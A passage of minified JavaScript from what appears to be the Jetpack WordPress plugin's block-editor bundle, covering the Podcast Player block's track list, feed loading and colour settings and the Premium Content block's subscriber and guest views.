__("Playlist: %s","jetpack"),t)),(0,o.createElement)("p",{id:`jetpack-podcast-player__tracklist-description--${e}`,className:"jetpack-podcast-player--visually-hidden"},__("Select an episode to play it in the audio player.","jetpack")),(0,o.createElement)(b.Z,{playerId:e,playerState:l,currentTrack:P,tracks:L,selectTrack:this.selectTrack,colors:N})))}}k.defaultProps={title:"",cover:"",link:"",attributes:{url:null,itemsToShow:5,showCoverArt:!0,showEpisodeTitle:!0,showEpisodeDescription:!0},tracks:[]},t.Z=(0,s.compose)([v.Z,(0,l.withSelect)(((e,t)=>{const{playerId:n}=t,{getMediaSourceCurrentTime:r,getMediaPlayerState:a}=e(h.tT);return{currentTime:r(n),playerState:a(n)}})),(0,l.withDispatch)((e=>{const{registerMediaSource:t,updateMediaSourceData:n,unregisterMediaSource:r,setDefaultMediaSource:a,playMediaSource:o,pauseMediaSource:i,toggleMediaSource:s,errorMediaSource:l,setMediaSourceCurrentTime:c}=e(h.tT);return{registerMediaSource:t,updateMediaSourceData:n,unregisterMediaSource:r,setDefaultMediaSource:a,playMediaSource:o,pauseMediaSource:i,toggleMediaSource:s,errorMediaSource:l,setMediaSourceCurrentTime:c}}))])(k)},46843:function(e,t,n){"use strict";var r=n(51806),a=n(69307),o=n(65736);const __=o.__,i=(0,a.memo)((e=>{let{link:t,title:n,colors:a}=e;return(0,r.createElement)("div",{className:"jetpack-podcast-player__track-error"},__("Episode unavailable. ","jetpack"),t&&(0,r.createElement)("span",{className:a.secondary.classes,style:{color:a.secondary.custom}},(0,r.createElement)("a",{className:"jetpack-podcast-player__link",href:t,rel:"noopener noreferrer nofollow",target:"_blank"},(0,r.createElement)("span",{className:"jetpack-podcast-player--visually-hidden"},`${(0,o.sprintf)(/* translators: %s is the title of the track. This text is visually hidden from the screen, but available to screen readers. */
__("%s:","jetpack"),n)} `),__("Open in a new tab","jetpack"))))}));t.Z=i},96817:function(e,t,n){"use strict";var r=n(51806),a=n(69307),o=n(65736),i=n(69650);const __=o.__,s=(0,a.memo)((e=>{let t,n,{isPlaying:a,isError:o,className:s}=e;o?(n="error",
/* translators: This is text to describe the current state. This will go
    before the track title, such as "Error: [The title of the track]". */
t=__("Error:","jetpack")):a&&(n="playing",
/* translators: Text to describe the current state. This will go before the
    track title, such as "Playing: [The title of the track]". */
t=__("Playing:","jetpack"));const l=i[n];return l?(0,r.createElement)("span",{className:`${s} ${s}--${n}`},(0,r.createElement)("span",{className:"jetpack-podcast-player--visually-hidden"},`${t} `),l):(0,r.createElement)("span",{className:s})}));t.Z=s},72862:function(e,t,n){"use strict";var r=n(51806),a=n(69307),o=n(65736),i=n(65235),s=n.n(i),l=n(66085),c=n(46843),u=n(96817);const __=o.__,d=(0,a.memo)((e=>{let{track:t,isActive:n,isPlaying:a,isError:o,selectTrack:i,index:d,colors:p={primary:{},secondary:{}}}=e;const m=(0,l.Gd)("color",p.primary.name),h=(0,l.Gd)("color",p.secondary.name),f=s()("jetpack-podcast-player__track",{"is-active":n,"has-primary":n&&(p.primary.name||p.primary.custom),[m]:n&&!!m,"has-secondary":!n&&(p.secondary.name||p.secondary.custom),[h]:!n&&!!h}),g={};n&&p.primary.custom&&!m?g.color=p.primary.custom:n||!p.secondary.custom||h||(g.color=p.secondary.custom);const
/* translators: This needs to be a single word with no spaces. It describes
  the current item in the group. A screen reader will announce it as "[title],
  current track". */
b=n?__("track","jetpack"):void 0;return(0,r.createElement)("li",{className:f,style:Object.keys(g).length?g:null},(0,r.createElement)("a",{className:"jetpack-podcast-player__link jetpack-podcast-player__track-link",href:t.link||t.src,role:"button","aria-current":b,onClick:e=>{e.shiftKey||e.metaKey||e.altKey||(e.preventDefault(),i(d))},onKeyDown:e=>{" "===event.key&&(e.preventDefault(),i(d))}},(0,r.createElement)(u.Z,{className:"jetpack-podcast-player__track-status-icon",isPlaying:a,isError:o}),(0,r.createElement)("span",{className:"jetpack-podcast-player__track-title"},t.title),t.duration&&(0,r.createElement)("time",{className:"jetpack-podcast-player__track-duration",dateTime:t.duration},t.duration)),n&&o&&(0,r.createElement)(c.Z,{link:t.link,title:t.title,colors:p}))}));t.Z=d},71540:function(e,t,n){"use strict";n.d(t,{Z:function(){return l}});var r=n(90017),a=n.n(r),o=n(51806),i=n(69307),s=n(65736);const __=s.__;function l(e){class t extends i.Component{constructor(){super(...arguments),a()(this,"state",{didError:!1,isIE11AudioIssue:!1}),a()(this,"componentDidCatch",((e,t)=>{this.props.onError(e,t)}))}render(){const{didError:t,isIE11AudioIssue:n}=this.state;return t?(0,o.createElement)("section",{className:"jetpack-podcast-player"},(0,o.createElement)("p",{className:"jetpack-podcast-player__error"},n?__('The podcast player cannot be displayed as your browser settings do not allow for sounds to be played in webpages. This can be changed in your browser’s "Internet options" settings. In the "Advanced" tab you will have to check the box next to "Play sounds in webpages" in the "Multimedia" section. Once you have confirmed that the box is checked, please press "Apply" and then reload this page.',"jetpack"):__("An unexpected error occured within the Podcast Player. Reloading this page might fix the problem.","jetpack",0))):(0,o.createElement)(e,this.props)}}return a()(t,"getDerivedStateFromError",(e=>({didError:!0,isIE11AudioIssue:!!e.message.match(/IE11/)}))),t.defaultProps={onError:()=>{}},t}},63226:function(e,t,n){"use strict";n.d(t,{b:function(){return a},u:function(){return r}});const r="podcast-feed",a="embed-block"},16542:function(e,t,n){"use strict";var r=n(96483),a=n(24381);const o={url:{type:"string",validator:r.isUrl},itemsToShow:{type:"integer",default:5},showCoverArt:{type:"boolean",default:!0},showEpisodeDescription:{type:"boolean",default:!0},primaryColor:{type:"string"},customPrimaryColor:{type:"string",validator:a.Z},hexPrimaryColor:{type:"string",validator:a.Z},secondaryColor:{type:"string"},customSecondaryColor:{type:"string",validator:a.Z},hexSecondaryColor:{type:"string",validator:a.Z},backgroundColor:{type:"string"},customBackgroundColor:{type:"string",validator:a.Z},hexBackgroundColor:{type:"string",validator:a.Z},exampleFeedData:{type:"object"}};t.Z={attributes:o,supports:{align:!1,alignWide:!0,anchor:!1,customClassName:!0,className:!0,html:!1,multiple:!0,reusable:!0},save:()=>null}},99800:function(e,t,n){"use strict";var r=n(51806),a=n(13419),o=n(52175),i=n(4981),s=n(55609),l=n(94333),c=n(9818),u=n(69307),d=n(65736),p=n(96483),m=n(51128),h=n.n(m),f=n(92819),g=n(43718),b=n(85007),v=n(4554),k=n(98075),y=n(30723),E=n(71600),w=n(63226),_=n(13331),C=n(93610),S=n(66085);const __=d.__,j=h()("jetpack:podcast-player:edit"),x=(0,a.Wp)()||(0,a.Ug)()?"http://en.support.wordpress.com/wordpress-editor/blocks/podcast-player-block/":"https://jetpack.com/support/jetpack-blocks/podcast-player-block/";t.Z=(0,l.compose)([(0,c.withDispatch)(((e,t)=>{let{clientId:n,attributes:r}=t;return{replaceWithEmbedBlock(){e("core/block-editor").replaceBlock(n,(0,i.createBlock)("core/embed",{url:r.url}))}}})),(0,o.withColors)("backgroundColor",{primaryColor:"color"},{secondaryColor:"color"}),s.withNotices,l.withInstanceId,g.K])((e=>{let{instanceId:t,className:n,attributes:a,setAttributes:i,noticeOperations:{createErrorNotice:l,removeAllNotices:c},noticeUI:d,primaryColor:m,setPrimaryColor:h,secondaryColor:g,setSecondaryColor:P,fallbackTextColor:L,backgroundColor:T,setBackgroundColor:N,fallbackBackgroundColor:A,isSelected:R,replaceWithEmbedBlock:I}=e;const M=(0,v.S)(y.Z,a),{url:B,selectedEpisodes:Z,itemsToShow:F,showCoverArt:D,showEpisodeTitle:O,showEpisodeDescription:z,exampleFeedData:U}=M,$=`jetpack-podcast-player-block-${t}`,[H,V]=(0,u.useState)(!1),[G,q]=(0,u.useState)(10),W=(0,u.useRef)(),[{selectedGuid:X,checkUrl:K,...J},Y]=(0,u.useReducer)(C.J,{editedUrl:B||"",isEditing:!B&&!U,isLoading:!1,feedData:U||{},isInteractive:!1,selectedGuid:Z?.[0]?.guid,checkUrl:B||""}),Q=(0,u.useMemo)((()=>(0,f.debounce)((e=>{Y({type:C.N.START_FETCH}),W.current?.cancel(),W.current=(0,S.W4)((0,k.q)({...e,fetchEpisodeOptions:!0})),W.current.promise.then((t=>{if(c(),t?.isCanceled)j("Block was unmounted during fetch",t);else switch(t?.type){case w.u:return i({url:e.url,selectedEpisodes:e.guids.map((e=>({guid:e})))}),Y({type:C.N.FEED_RECEIVED,payload:t.data});case w.b:return I()}}),(e=>{e?.isCanceled?j("Block was unmounted during fetch",e):(j("feed error",e),c(),l(e.message||__("Your podcast couldn't be embedded. Please double check your URL.","jetpack")),Y({type:C.N.START_EDITING}))}))}),300)),[I,i,l,c]);(0,u.useEffect)((()=>()=>{W?.current?.cancel?.()}),[]);const ee=(0,u.useCallback)((e=>{null===e||H||((0,b.DT)(["link#mediaelement-css","link#wp-mediaelement-css"],e),V(!0))}),[H]);(0,u.useEffect)((()=>{if(""!==K)return Q({url:K,guids:X?[X]:[]}),()=>W?.current?.cancel?.()}),[Q,K,X]),(0,u.useEffect)((()=>{(0,k.G)().then((e=>{q(e)}))}),[]),(0,u.useEffect)((()=>{X&&1!==F&&i({itemsToShow:1})}),[X,F,i]),(0,u.useEffect)((()=>{!R&&J.isInteractive&&Y({type:C.N.PREVENT_INTERACTIONS})}),[R,J.isInteractive]);const te=e=>{if(e.preventDefault(),""===J.editedUrl)return;const t=(0,p.prependHTTP)(J.editedUrl);(0,p.isURL)(t)?(t===K?(Y({type:C.N.CLEAR_FEED}),Q({url:K,guids:Z[0]?.guid?[Z[0].guid]:[]})):Y({type:C.N.CHECK_URL,payload:t}),Y({type:C.N.FINISH_EDITING,payload:t})):l(__("Your podcast couldn't be embedded. Please double check your URL.","jetpack"))};if(J.isEditing)return(0,r.createElement)(s.Placeholder,{icon:_.E,label:__("Podcast Player","jetpack"),instructions:__("Enter your podcast RSS feed URL.","jetpack"),className:"jetpack-podcast-player__placeholder"},(0,r.createElement)("form",{onSubmit:te},d,(0,r.createElement)(s.TextControl,{type:"text",inputMode:"url",placeholder:__("Enter URL here…","jetpack"),value:J.editedUrl,className:"components-placeholder__input",onChange:e=>Y({type:C.N.EDIT_URL,payload:e})}),(0,r.createElement)(s.Button,{variant:"primary",type:"submit"},__("Embed","jetpack"))),(0,r.createElement)("div",{className:"components-placeholder__learn-more"},(0,r.createElement)(s.ExternalLink,{href:x},__("Learn more about embeds","jetpack"))));if(!J.feedData.tracks?.length)return(0,r.createElement)(s.Placeholder,{icon:_.E,label:__("Podcast Player","jetpack"),instructions:__("Loading podcast feed…","jetpack")},(0,r.createElement)(s.Spinner,null));const ne=(e,t)=>n=>{i({[e]:n}),t(n)};return(0,r.createElement)(r.Fragment,null,(0,r.createElement)(o.BlockControls,null,(0,r.createElement)(s.ToolbarGroup,null,(0,r.createElement)(s.ToolbarButton,{"aria-label":__("Edit Podcast Feed URL","jetpack"),onClick:()=>Y({type:C.N.START_EDITING})},__("Replace","jetpack")))),(0,r.createElement)(o.InspectorControls,null,(0,r.createElement)(s.PanelBody,{title:__("Podcast settings","jetpack")},(s.ComboboxControl||0===Z.length)&&(0,r.createElement)(s.RangeControl,{label:__("Number of items","jetpack"),value:F,onChange:e=>i({itemsToShow:X?1:e}),min:1,max:G,required:!0,disabled:!!X}),s.ComboboxControl&&(0,r.createElement)(s.ComboboxControl,{className:"jetpack-podcast-player__episode-selector",value:X,onChange:e=>Y({type:C.N.SELECT_EPISODE,payload:e}),options:J.feedData.options||[],label:__("Episode","jetpack"),onFilterValueChange:f.noop}),(0,r.createElement)(s.ToggleControl,{label:__("Show Cover Art","jetpack"),checked:D,onChange:e=>i({showCoverArt:e})}),(0,r.createElement)(s.ToggleControl,{label:__("Show Episode Title","jetpack"),checked:O,onChange:e=>i({showEpisodeTitle:e})}),(0,r.createElement)(s.ToggleControl,{label:__("Show Episode Description","jetpack"),checked:z,onChange:e=>i({showEpisodeDescription:e})})),(0,r.createElement)(o.PanelColorSettings,{title:__("Color Settings","jetpack"),colorSettings:[{value:m.color,onChange:ne("hexPrimaryColor",h),label:__("Primary Color","jetpack")},{value:g.color,onChange:ne("hexSecondaryColor",P),label:__("Secondary Color","jetpack")},{value:T.color,onChange:ne("hexBackgroundColor",N),label:__("Background Color","jetpack")}]},(0,r.createElement)(o.ContrastChecker,{isLargeText:!1,textColor:g.color,backgroundColor:T.color,fallbackBackgroundColor:A,fallbackTextColor:L}))),(0,r.createElement)("div",{id:$,className:n,ref:ee},(0,r.createElement)(E.Z,{playerId:$,attributes:M,tracks:J.feedData.tracks,cover:J.feedData.cover,title:J.feedData.title,link:J.feedData.link}),!J.isInteractive&&!J.isLoading&&(0,r.createElement)("div",{className:"jetpack-podcast-player__interactive-overlay",onMouseUp:()=>Y({type:C.N.MAKE_INTERACTIVE})}),J.isLoading&&(0,r.createElement)("div",{className:"jetpack-podcast-player__loading-overlay"},(0,r.createElement)(s.Spinner,null))))}))},28345:function(e,t,n){"use strict";var r=n(31985),a=n(74989);(0,r.Z)(a.u2,a.Xd)},13331:function(e,t,n){"use strict";n.d(t,{E:function(){return r.Z}});var r=n(26152)},29431:function(e,t,n){"use strict";var r=n(51806),a=n(70444);const o=(0,r.createElement)(a.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},(0,r.createElement)(a.Path,{d:"M15.6 7.2H14v1.5h1.6c2 0 3.7 1.7 3.7 3.7s-1.7 3.7-3.7 3.7H14v1.5h1.6c2.8 0 5.2-2.3 5.2-5.2 0-2.9-2.3-5.2-5.2-5.2zM4.7 12.4c0-2 1.7-3.7 3.7-3.7H10V7.2H8.4c-2.9 0-5.2 2.3-5.2 5.2 0 2.9 2.3 5.2 5.2 5.2H10v-1.5H8.4c-2 0-3.7-1.7-3.7-3.7zm4.6.9h5.3v-1.5H9.3v1.5z"}));t.Z=o},26152:function(e,t,n){"use strict";var r=n(51806),a=n(70444);t.Z=(0,r.createElement)(a.SVG,{height:"24",viewBox:"0 0 24 24",width:"24",xmlns:"http://www.w3.org/2000/svg"},(0,r.createElement)(a.G,null,(0,r.createElement)(a.Rect,{fill:"none",height:"24",width:"24"}),(0,r.createElement)(a.Rect,{fill:"none",height:"24",width:"24"}),(0,r.createElement)(a.Rect,{fill:"none",height:"24",width:"24"})),(0,r.createElement)(a.G,null,(0,r.createElement)(a.G,null),(0,r.createElement)(a.G,null,(0,r.createElement)(a.G,{transform:"matrix(1 0 0 1 144 120)"},(0,r.createElement)(a.Path,{d:"M-122-114h-5v8.18c-0.31-0.11-0.65-0.18-1-0.18c-1.66,0-3,1.34-3,3s1.34,3,3,3s3-1.34,3-3v-9h3V-114 L-122-114z M-129-114h-12v2h12V-114L-129-114z M-129-110h-12v2h12V-110L-129-110z M-133-106h-8v2h8V-106L-133-106z M-129-103 c0-0.55,0.45-1,1-1c0.55,0,1,0.45,1,1s-0.45,1-1,1C-128.55-102-129-102.45-129-103z"})))))},69650:function(e,t,n){"use strict";n.r(t),n.d(t,{error:function(){return s},playing:function(){return i}});var r=n(51806),a=n(70444);const o={height:"24",viewBox:"0 0 24 24",width:"24",xmlns:"http://www.w3.org/2000/svg"},i=(0,r.createElement)(a.SVG,o,(0,r.createElement)(a.Path,{d:"M0 0h24v24H0V0z",fill:"none"}),(0,r.createElement)(a.Path,{d:"M3 9v6h4l5 5V4L7 9H3zm7-.17v6.34L7.83 13H5v-2h2.83L10 8.83zM16.5 12c0-1.77-1.02-3.29-2.5-4.03v8.05c1.48-.73 2.5-2.25 2.5-4.02zM14 3.23v2.06c2.89.86 5 3.54 5 6.71s-2.11 5.85-5 6.71v2.06c4.01-.91 7-4.49 7-8.77 0-4.28-2.99-7.86-7-8.77z"})),s=(0,r.createElement)(a.SVG,o,(0,r.createElement)(a.Path,{d:"M0 0h24v24H0V0z",fill:"none"}),(0,r.createElement)(a.Path,{d:"M11 15h2v2h-2zm0-8h2v6h-2zm.99-5C6.47 2 2 6.48 2 12s4.47 10 9.99 10C17.52 22 22 17.52 22 12S17.52 2 11.99 2zM12 20c-4.42 0-8-3.58-8-8s3.58-8 8-8 8 3.58 8 8-3.58 8-8 8z"}))},74989:function(e,t,n){"use strict";n.d(t,{Xd:function(){return d},u2:function(){return u}});var r=n(65736),a=n(70355),o=n(30723),i=n(16542),s=n(99800),l=n(13331),c=n(10591);const __=r.__,_x=r._x,u="podcast-player",d={title:__("Podcast Player","jetpack"),description:__("Select and play episodes from a single podcast.","jetpack"),icon:{src:l.E,foreground:(0,a.m)()},category:"embed",keywords:[_x("audio","block search term","jetpack"),_x("embed","block search term","jetpack")],supports:{align:["wide","full"],spacing:{padding:!0,margin:!0},anchor:!1,customClassName:!0,className:!0,html:!1,multiple:!0,reusable:!0},edit:s.Z,save:c.Z,attributes:o.Z,example:{attributes:{customPrimaryColor:(0,a.m)(),hexPrimaryColor:(0,a.m)(),exampleFeedData:{title:__("Jetpack Example Podcast","jetpack"),link:"https://jetpack.com",cover:"https://jetpackme.files.wordpress.com/2020/05/jetpack-example-podcast-cover.png?w=160",tracks:[{id:"3",title:__("3. Our third episode","jetpack"),duration:"14:58"},{id:"2",title:__("2. Interview with a special guest","jetpack"),duration:"19:17"},{id:"1",title:__("1. Welcome to Example Podcast","jetpack"),duration:"11:25"}]}}},deprecated:[i.Z]}},10591:function(e,t,n){"use strict";n.d(t,{Z:function(){return a}});var r=n(51806);function a(e){let{attributes:t}=e;const{url:n}=t;if(n&&""!==n)return(0,r.createElement)("a",{className:"jetpack-podcast-player__direct-link",href:n},n)}},93610:function(e,t,n){"use strict";n.d(t,{J:function(){return a},N:function(){return r}});const r={EDIT_URL:"EDIT_URL",FINISH_EDITING:"FINISH_EDITING",START_EDITING:"START_EDITING",SELECT_EPISODE:"SELECT_EPISODE",FEED_RECEIVED:"FEED_RECEIVED",CLEAR_FEED:"CLEAR_FEED",MAKE_INTERACTIVE:"MAKE_INTERACTIVE",PREVENT_INTERACTIONS:"PREVENT_INTERACTIONS",START_FETCH:"START_FETCH",CHECK_URL:"CHECK_URL"},a=(e,t)=>{switch(t.type){case r.EDIT_URL:return{...e,editedUrl:t.payload};case r.START_EDITING:return{...e,isEditing:!0,isLoading:!1};case r.FINISH_EDITING:return{...e,editedUrl:t.payload,isEditing:!1};case r.FEED_RECEIVED:return{...e,isLoading:!1,feedData:t.payload};case r.CLEAR_FEED:return{...e,feedData:{}};case r.MAKE_INTERACTIVE:return{...e,isInteractive:!0};case r.PREVENT_INTERACTIONS:return{...e,isInteractive:!1};case r.START_FETCH:return{...e,isLoading:!0};case r.SELECT_EPISODE:return{...e,selectedGuid:t.payload};case r.CHECK_URL:return{...e,selectedGuid:null,feedData:{},checkUrl:t.payload};default:return{...e}}}},66085:function(e,t,n){"use strict";n.d(t,{Aq:function(){return l},Gd:function(){return i},W4:function(){return s}});var r=n(65235),a=n.n(r),o=n(92819);function i(e,t){if(e&&t)return`has-${t}-${e}`}function s(e){let t=!1;return{promise:new Promise(((n,r)=>{e.then((e=>t?r({isCanceled:!0}):n(e)),(e=>r(t?{isCanceled:!0}:e)))})),cancel(){t=!0}}}const l=(0,o.memoize)((e=>{let{primaryColor:t,customPrimaryColor:n,secondaryColor:r,customSecondaryColor:o,backgroundColor:s,customBackgroundColor:l}=e;const c=i("color",t),u=i("color",r),d=i("background-color",s);return{primary:{name:t,custom:n,classes:a()({"has-primary":c||n,[c]:c})},secondary:{name:r,custom:o,classes:a()({"has-secondary":u||o,[u]:u})},background:{name:s,custom:l,classes:a()({"has-background":d||l,[d]:d})}}}),(e=>Object.values(e).join()))},51054:function(e,t,n){"use strict";n.d(t,{Z:function(){return o}});var r=n(51806),a=n(52175);function o(){return(0,r.createElement)("div",{className:"premium-content-wrapper"},(0,r.createElement)(a.InnerBlocks,{allowedBlocks:["premium-content/subscriber-view","premium-content/logged-out-view"],templateLock:"all",template:[["premium-content/subscriber-view"],["premium-content/logged-out-view"]],__experimentalCaptureToolbars:!0,templateInsertUpdatesSelection:!1}))}},59948:function(e,t,n){"use strict";var r=n(51806),a=n(69307);const o={selectedTab:{id:"",className:"",label:(0,r.createElement)(r.Fragment,null)}},i=(0,a.createContext)(o);t.Z=i},34601:function(e,t,n){"use strict";var r=n(51806),a=n(55609);t.Z=(0,r.createElement)(a.SVG,{viewBox:"0 0 25 24",fill:"none",xmlns:"http://www.w3.org/2000/svg"},(0,r.createElement)(a.Path,{d:"M12.7439 14.4271L8.64053 13.165L8.51431 13.8718L8.09208 20.7415C8.06165 21.2365 8.61087 21.5526 9.02363 21.2776L12.7439 18.799L16.7475 21.304C17.1687 21.5676 17.7094 21.2343 17.6631 20.7396L17.0212 13.8718L17.0212 13.165L12.7439 14.4271Z"}),(0,r.createElement)(a.Circle,{cx:"12.7439",cy:"8.69796",r:"5.94466",stroke:"currentColor",strokeWidth:"1.5",fill:"none"}),(0,r.createElement)(a.Path,{d:"M9.71023 8.12461L11.9543 10.3687L15.7776 6.54533",stroke:"currentColor",strokeWidth:"1.5",fill:"none"}))},86614:function(e,t,n){"use strict";n.d(t,{H2:function(){return s},Wp:function(){return i},ch:function(){return l}});var r=n(4981),a=n(9818),o=n(50851);const i=e=>0===e.name.indexOf("premium-content/")||e.innerBlocks.some(i),s=e=>{const{getBlocksByClientId:t,getBlockParents:n}=(0,a.select)("core/block-editor");return!!t(n(e.clientId)).find((e=>0===e.name.indexOf("premium-content/")))};function l(){return(0,a.useSelect)((e=>e(r.store).getBlockTypes()),[]).reduce(((e,t)=>(t.name!==o.u&&e.push(t.name),e)),[])}},83196:function(e,t,n){"use strict";var r=n(51806),a=n(9818),o=n(72067),i=n(65736),s=n(50851),l=n(16912);const __=i.__;function c(){const e=(0,a.select)("core/block-editor").getSelectedBlock();(0,a.dispatch)("core/block-editor").replaceBlock(e.clientId,(0,l.e)(e.innerBlocks))}t.Z=()=>(0,r.createElement)(o.PluginBlockSettingsMenuItem,{allowedBlocks:[s.u],label:__("Remove block and keep content","jetpack"),onClick:c})},16912:function(e,t,n){"use strict";n.d(t,{e:function(){return a}});var r=n(4981);const a=e=>{const t=e.find((e=>"premium-content/subscriber-view"===e.name));return 1===t.innerBlocks.length&&"core/group"===t.innerBlocks[0].name?t.innerBlocks[0]:(0,r.createBlock)("core/group",{},t.innerBlocks)}},63613:function(e,t,n){"use strict";n.d(t,{Z:function(){return i}});var r=n(51806),a=n(52175),o=n(55609);function i(e){const{options:t,selectedOption:n,selectAction:i,contractViewport:s,label:l}=e,c=e=>e.id===n.id;return s?(0,r.createElement)(a.BlockControls,{group:"block"},(0,r.createElement)(o.ToolbarDropdownMenu,{label:l,icon:"arrow-down",text:n.label},(e=>{let{onClose:n}=e;return(0,r.createElement)(o.MenuGroup,null,t.map((e=>{const t=c(e);return(0,r.createElement)(o.MenuItem,{isSelected:t,icon:t?"yes":void 0,onClick:()=>{i(e),n()},key:`jetpack-premium-content-tab-${e.id}`},e.label)})))}))):(0,r.createElement)(a.BlockControls,{group:"other"},t.map((e=>{const t=c(e);return(0,r.createElement)(o.ToolbarButton,{onClick:()=>{i(e)},className:"components-tab-button",isPressed:t,key:`jetpack-premium-content-tab-${e.id}`},(0,r.createElement)("span",null,e.label))})))}},72738:function(e,t,n){"use strict";var r=n(51806),a=n(52175),o=n(94333),i=n(9818),s=n(69307),l=n(92694),c=n(65736);const __=c.__,u=["core/button","jetpack/recurring-payments","premium-content/login-button"];t.Z=(0,o.compose)([(0,i.withSelect)(((e,t)=>({subscribeButton:e("core/block-editor").getBlock(t.clientId).innerBlocks.find((e=>"jetpack/recurring-payments"===e.name))}))),(0,i.withDispatch)(((e,t)=>({setSubscribeButtonPlan(n){e("core/block-editor").updateBlockAttributes(t.subscribeButton.clientId,{planId:n})}})))])((function(e){let{context:t,subscribeButton:n,setSubscribeButtonPlan:o}=e;const i=t?t["premium-content/planId"]:null,c=!!t&&t["premium-content/isPreview"],d=[["core/button",{element:"a",uniqueId:"recurring-payments-id",text:__("Subscribe","jetpack")}],["premium-content/login-button"]],p=[["jetpack/recurring-payments",{planId:i},[["jetpack/button",{element:"a",uniqueId:"recurring-payments-id",text:__("Subscribe","jetpack"),passthroughAttributes:{uniqueId:"uniqueId",url:"url"}}]]],["premium-content/login-button"]];(0,s.useEffect)((()=>{i&&n&&n.attributes.planId!==i&&o(i)}),[i,n,o]),(0,s.useEffect)((()=>{n&&(0,l.addFilter)("jetpack.recurringPayments.editorSettings","jetpack/premium-content-hide-recurring-payments-controls",((e,t)=>t===n.clientId?{...e,showProductManagementControls:!1}:e))}),[n]);const m=(0,a.useBlockProps)({className:"wp-block-buttons"});return(0,r.createElement)("div",m,(0,r.createElement)(a.InnerBlocks,{allowedBlocks:u,template:c?d:p,templateInsertUpdatesSelection:!1,__experimentalLayout:{type:"default",alignments:[]},__experimentalMoverDirection:"horizontal"}))}))},737:function(e,t,n){"use strict";n.d(t,{X:function(){return u},u:function(){return c}});var r=n(51806),a=n(52175),o=n(65736),i=n(58829),s=n(72738),l=n(60439);const __=o.__,c="premium-content/buttons",u={apiVersion:2,title:__("Premium Content buttons","jetpack"),description:__("Prompt Premium Content visitors to take action with a group of button-style links.","jetpack"),category:"grow",icon:i.Z,supports:{align:!0,alignWide:!1,lightBlockWrapper:!0,inserter:!1},keywords:[__("link","jetpack")],edit:s.Z,save:l.Z,usesContext:["premium-content/planId","premium-content/isPreview"],deprecated:[{attributes:{},supports:{align:!0,alignWide:!1,lightBlockWrapper:!0,inserter:!1},save:()=>(0,r.createElement)("div",{className:"wp-block-buttons"},(0,r.createElement)(a.InnerBlocks.Content,null))}]}},60439:function(e,t,n){"use strict";n.d(t,{Z:function(){return o}});var r=n(51806),a=n(52175);function o(){const e=a.useBlockProps.save({className:"wp-block-buttons"});return(0,r.createElement)("div",e,(0,r.createElement)(a.InnerBlocks.Content,null))}},23842:function(e,t,n){"use strict";var r=n(96882);t.Z={isEligible:(e,t)=>{if("premium-content/logged-out-view"===t?.[0]?.name)return!0},migrate:(e,t)=>[e,[t[1],t[0]]],save:r.Z}},12215:function(e,t,n){"use strict";n.d(t,{Z:function(){return C}});var r=n(82674),a=n.n(r),o=n(51806),i=n(52175),s=n(55609),l=n(94333),c=n(9818),u=n(69307),d=n(65736),p=n(60386),m=n(14436),h=n(16367),f=n(7652),g=n(51054),b=n(59948),v=n(63613);const __=d.__,k=[{id:"premium",label:(0,o.createElement)("span",null,__("Subscriber View","jetpack")),className:"wp-premium-content-subscriber-view"},{id:"wall",label:(0,o.createElement)("span",null,__("Guest View","jetpack")),className:"wp-premium-content-logged-out-view"}],y=0,E=1,w="premium-content";function _(e){const[t,n]=(0,u.useState)(k[E]),{isPreview:r,selectedPlanId:a}=e.attributes,{clientId:d,isSelected:_,className:C,setAttributes:S}=e,{isApiLoading:j,selectedBlock:x}=(0,c.useSelect)((e=>({selectedBlock:e(i.store).getSelectedBlock(),isApiLoading:e(f.h).isApiStateLoading()})));(0,u.useEffect)((()=>{if(_)return;if(!x)return;const e=(0,c.select)(i.store);e.getBlockParents(x.clientId).includes(d)&&("premium-content/logged-out-view"===x.name||e.getBlockParentsByBlockName(x.clientId,"premium-content/logged-out-view").length?n(k[E]):n(k[y]))}),[d,_,x]);const P=(0,l.useViewportMatch)("medium","<");return(0,o.createElement)("div",{className:C},!r&&(0,o.createElement)(o.Fragment,null,j&&(0,o.createElement)(s.Placeholder,{icon:"lock",label:__("Premium Content","jetpack"),instructions:__("Loading data…","jetpack")},(0,o.createElement)(s.Spinner,null)),(0,o.createElement)(p.Z,{blockName:w,clientId:d,productType:m.DM,selectedProductId:a,setSelectedProductId:e=>S({selectedPlanId:e})}),(0,o.createElement)(v.Z,{options:k,selectedOption:t,selectAction:n,contractViewport:P,label:__("Change view","jetpack")})),!j&&(0,o.createElement)(o.Fragment,null,(0,o.createElement)(h.U,{blockName:w}),(0,o.createElement)(b.Z.Provider,{value:{selectedTab:t}},(0,o.createElement)(g.Z,null))))}function C(e){return(0,o.createElement)(s.Disabled.Consumer,null,(t=>(0,o.createElement)(_,a()({},e,{attributes:{...e.attributes,isPreview:t||e.attributes?.isPreview}}))))}},85053:function(e,t,n){"use strict";var r=n(13419),a=n(98817),o=n(31985),i=n(83196),s=n(737),l=n(9160),c=n(88430),u=n(52149),d=n(50851);((0,r.Wp)()||(0,r.Ug)())&&(0,o.Z)(d.u,d.X,[{name:l.u,settings:l.X},{name:u.u,settings:u.X},{name:s.u,settings:s.X},{name:c.u,settings:c.X}],false),(0,a.registerPlugin)("block-settings-remove-block-keep-content",{render:i.Z})},50851:function(e,t,n){"use strict";n.d(t,{X:function(){return h},u:function(){return m}});var r=n(4981),a=n(65736),o=n(34601),i=n(86614),s=n(16912),l=n(23842),c=n(12215),u=n(96882);const __=a.__,_x=a._x,d=["core/nextpage","core/spacer","core/separator","core/more","core/loginout","core/post-navigation-link"],p=e=>{if(e.some(i.Wp))return!1;if((0,i.H2)(e[0]))return!1;return!e.every((e=>d.includes(e.name)))},m="premium-content/container",h={title:__("Premium Content","jetpack"),description:__("Restrict access to your content for paying subscribers.","jetpack"),icon:o.Z,category:"grow",keywords:[_x("buy","block search term","jetpack"),_x("credit card","block search term","jetpack"),_x("debit card","block search term","jetpack"),_x("earn","block search term","jetpack"),_x("exclusive","block search term","jetpack"),_x("gated","block search term","jetpack"),"gofundme",_x("memberships","block search term","jetpack"),_x("money","block search term","jetpack"),_x("newsletter","block search term","jetpack"),_x("paid","block search term","jetpack"),"patreon",_x("pay","block search term","jetpack"),_x("payments","block search term","jetpack"),_x("paywall","block search term","jetpack"),_x("purchase","block search term","jetpack"),_x("recurring","block search term","jetpack"),_x("repeat","block search term","jetpack"),_x("signin","block search term","jetpack"),"stripe",_x("subscribe","block search term","jetpack"),_x("subscriptions","block search term","jetpack"),_x("support","block search term","jetpack"),_x("sponsor","block search 